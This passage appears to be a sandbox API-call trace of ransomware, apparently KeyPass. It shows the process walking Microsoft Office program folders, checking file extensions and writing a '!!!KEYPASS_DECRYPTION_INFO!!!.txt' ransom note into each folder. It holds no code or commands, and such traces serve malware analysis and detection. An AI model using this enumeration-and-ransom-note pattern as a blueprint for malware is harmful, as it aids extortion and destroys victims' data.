hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\BSTORM.DLL") returned=".DLL" [0256.321] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.321] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\C2R64.dll") returned=".dll" [0256.321] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CHAKRACORE.DLL") returned=".DLL" [0256.322] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CHART.DLL") returned=".DLL" [0256.322] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.322] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLIENTTELEMETRY.DLL") returned=".DLL" [0256.322] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE") returned=".EXE" [0256.323] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CMAX20.DLL") returned=".DLL" [0256.323] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE") returned=".EXE" [0256.323] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CODEEDIT.DLL") returned=".DLL" [0256.323] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CommunicatorContentBinApp.xap") returned=".xap" [0256.323] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.323] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\concrt140.dll") returned=".dll" [0256.323] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.323] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0256.323] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0256.323] GetLastError () returned 0x3f0 [0256.323] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0256.323] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0256.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\configuration\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e8 [0256.354] GetFileType (hFile=0x9e8) returned 0x1 [0256.354] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0256.354] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0256.354] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0256.354] WriteFile (in: hFile=0x9e8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0256.355] WriteFile (in: hFile=0x9e8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0256.355] CloseHandle (hObject=0x9e8) returned 1 [0256.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0afb8 [0256.355] FindNextFileW (in: hFindFile=0x3a0afb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.355] FindNextFileW (in: hFindFile=0x3a0afb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.355] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0256.355] FindNextFileW (in: hFindFile=0x3a0afb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.355] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\card_expiration_terms_dict.txt") returned=".txt" [0256.355] FindNextFileW (in: hFindFile=0x3a0afb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.356] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\card_security_terms_dict.txt") returned=".txt" [0256.356] FindNextFileW (in: hFindFile=0x3a0afb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.356] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\card_terms_dict.txt") returned=".txt" [0256.356] FindNextFileW (in: hFindFile=0x3a0afb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.356] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\config.xml") returned=".xml" [0256.356] FindNextFileW (in: hFindFile=0x3a0afb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.356] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\ssn_high_group_info.txt") returned=".txt" [0256.356] FindNextFileW (in: hFindFile=0x3a0afb8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0256.356] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.356] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONTAB32.DLL") returned=".DLL" [0256.356] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0256.356] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0256.356] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0256.356] GetLastError () returned 0x3f0 [0256.356] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0256.356] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0256.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9ec [0256.478] GetFileType (hFile=0x9ec) returned 0x1 [0256.478] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0256.478] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0256.478] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0256.479] WriteFile (in: hFile=0x9ec, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0256.479] WriteFile (in: hFile=0x9ec, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0256.479] CloseHandle (hObject=0x9ec) returned 1 [0256.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0a878 [0256.480] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.480] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.480] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0256.480] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0256.480] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0256.480] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0256.480] GetLastError () returned 0x3f0 [0256.480] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0256.480] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\1033\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f0 [0257.042] GetFileType (hFile=0x9f0) returned 0x1 [0257.042] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0257.042] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0257.042] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0257.042] WriteFile (in: hFile=0x9f0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0257.043] WriteFile (in: hFile=0x9f0, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0257.043] CloseHandle (hObject=0x9f0) returned 1 [0257.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3a0a8f8 [0257.044] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.044] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.044] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.044] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.044] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\DELIMR.FAE") returned=".FAE" [0257.044] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.044] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\LOCALDV.DLL") returned=".DLL" [0257.044] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.044] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLADDR.FAE") returned=".FAE" [0257.044] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.044] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLAPPTR.FAE") returned=".FAE" [0257.044] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.044] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLJRNLR.FAE") returned=".FAE" [0257.044] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.044] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLMAILR.FAE") returned=".FAE" [0257.044] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.044] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLNOTER.FAE") returned=".FAE" [0257.044] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.044] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLR.SAM") returned=".SAM" [0257.044] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.044] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\OLTASKR.FAE") returned=".FAE" [0257.044] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\TRANSMRR.DLL") returned=".DLL" [0257.045] FindNextFileW (in: hFindFile=0x3a0a8f8, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0257.045] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\DELIMWIN.FAE") returned=".FAE" [0257.045] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\DESKSAM.SAM") returned=".SAM" [0257.045] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OL.SAM") returned=".SAM" [0257.045] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OLADD.FAE") returned=".FAE" [0257.045] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OLAPPT.FAE") returned=".FAE" [0257.045] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OLJRNL.FAE") returned=".FAE" [0257.045] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OLMAIL.FAE") returned=".FAE" [0257.045] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.045] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OLNOTE.FAE") returned=".FAE" [0257.045] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\OLTASK.FAE") returned=".FAE" [0257.046] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\RM.DLL") returned=".DLL" [0257.046] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\TRANSMGR.DLL") returned=".DLL" [0257.046] FindNextFileW (in: hFindFile=0x3a0a878, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.046] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CppCliUtils.dll") returned=".dll" [0257.046] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\cpprestsdk.dll") returned=".dll" [0257.046] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\csi.dll") returned=".dll" [0257.046] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CSIRESOURCES.DLL") returned=".DLL" [0257.046] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CSS7DATA0009.DLL") returned=".DLL" [0257.046] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CSS7DATA000A.DLL") returned=".DLL" [0257.046] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\CSS7DATA000C.DLL") returned=".DLL" [0257.046] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Custom.propdesc") returned=".propdesc" [0257.046] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\DATAGATH.DLL") returned=".DLL" [0257.046] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.046] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\DBENGR.DLL") returned=".DLL" [0257.046] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\DBGHELP.DLL") returned=".DLL" [0257.047] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\DBSHARE.DLL") returned=".DLL" [0257.047] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\DBWIZ.DLL") returned=".DLL" [0257.047] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\DIFF_MATCH_PATCH_WIN32.DLL") returned=".DLL" [0257.047] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.047] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\DLGSETP.DLL") returned=".DLL" [0257.047] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.047] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.047] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.047] GetLastError () returned 0x3f0 [0257.047] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.047] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\document parts\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f8 [0257.049] GetFileType (hFile=0x9f8) returned 0x1 [0257.049] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.049] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.049] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.049] WriteFile (in: hFile=0x9f8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.050] WriteFile (in: hFile=0x9f8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.050] CloseHandle (hObject=0x9f8) returned 1 [0257.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3a0a978 [0257.051] FindNextFileW (in: hFindFile=0x3a0a978, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.051] FindNextFileW (in: hFindFile=0x3a0a978, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.051] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.051] FindNextFileW (in: hFindFile=0x3a0a978, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.051] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0257.051] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: 